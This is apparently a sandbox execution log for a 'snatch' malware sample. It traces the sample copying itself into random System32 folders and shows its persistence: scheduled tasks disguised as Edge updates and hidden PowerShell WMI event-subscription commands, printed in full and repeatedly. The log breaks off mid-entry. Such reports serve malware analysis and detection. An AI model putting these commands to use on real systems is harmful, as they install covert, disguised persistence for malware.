\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:7384

C:\Windows\System32\qrzytbadeh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\qrzytbadeh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7648
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-o80pgie7wr /tr C:\Windows\System32\4x9fpesgzz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4x9fpesgzz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7372

C:\Windows\System32\4x9fpesgzz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4x9fpesgzz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7436
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-vfqfrpikn9 /tr C:\Windows\System32\wg91j33k62\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\wg91j33k62\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2312

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5400

C:\Windows\System32\wg91j33k62\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\wg91j33k62\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7380
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-o0wcyh8pf1 /tr C:\Windows\System32\y9od9l3mz3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\y9od9l3mz3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7412

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:7472

C:\Windows\System32\y9od9l3mz3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\y9od9l3mz3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:2188
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-reuma0le5z /tr C:\Windows\System32\u0o3grp34b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\u0o3grp34b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8156

C:\Windows\System32\u0o3grp34b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\u0o3grp34b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:2312
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-tg8lbw1lnf /tr C:\Windows\System32\mhntsujgqu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\mhntsujgqu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7356

C:\Windows\System32\mhntsujgqu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\mhntsujgqu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8320
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-gstpab927a /tr C:\Windows\System32\tjg3zasamh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\tjg3zasamh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8392

C:\Windows\System32\tjg3zasamh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\tjg3zasamh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8608
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-r351cjp9wo /tr C:\Windows\System32\aa3ygf6w29\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\aa3ygf6w29\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8680

C:\Windows\System32\aa3ygf6w29\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\aa3ygf6w29\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8884
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-dxwr463exk /tr C:\Windows\System32\gr1q5wvwcs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\gr1q5wvwcs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8960

C:\Windows\System32\gr1q5wvwcs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\gr1q5wvwcs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9168
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-kf1a0l13i8 /tr C:\Windows\System32\p7e4xwprwv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\p7e4xwprwv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:3224

C:\Windows\System32\p7e4xwprwv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\p7e4xwprwv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8476
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-w1cuxg955y /tr C:\Windows\System32\vqtu1r46v7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\vqtu1r46v7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8500

C:\Windows\System32\vqtu1r46v7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\vqtu1r46v7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8784
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-zbrl759syb /tr C:\Windows\System32\amlvlx7kup\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\amlvlx7kup\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3876

C:\Windows\System32\amlvlx7kup\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\amlvlx7kup\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7932
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-1eorqjzym1 /tr C:\Windows\System32\ah7zi71i1x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ah7zi71i1x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8156

C:\Windows\System32\ah7zi71i1x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ah7zi71i1x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8664
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-42nodkw7pt /tr C:\Windows\System32\ebqytwfxa3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ebqytwfxa3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8940

C:\Windows\System32\ebqytwfxa3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ebqytwfxa3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9068
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-o5psku5t7c /tr C:\Windows\System32\6us175xzoz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\6us175xzoz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8440

C:\Windows\System32\6us175xzoz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\6us175xzoz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4120
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-8ffixlswu6 /tr C:\Windows\System32\4a42kwh86n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4a42kwh86n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6156

C:\Windows\System32\4a42kwh86n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4a42kwh86n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8228
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-4fuh9lygqd /tr C:\Windows\System32\kzp7qdlbbb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\kzp7qdlbbb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9000

C:\Windows\System32\kzp7qdlbbb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\kzp7qdlbbb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9128
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-0c72503kes /tr C:\Windows\System32\b6ff5pdf9e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\b6ff5pdf9e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8444

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6708

C:\Windows\System32\b6ff5pdf9e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\b6ff5pdf9e\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9256
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-hlpm12s7u1 /tr C:\Windows\System32\uir5s9k1ba\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\uir5s9k1ba\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9328

C:\Windows\System32\uir5s9k1ba\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\uir5s9k1ba\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9532
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-pgwz2ogl29 /tr C:\Windows\System32\yfxk2t83rr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:9588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
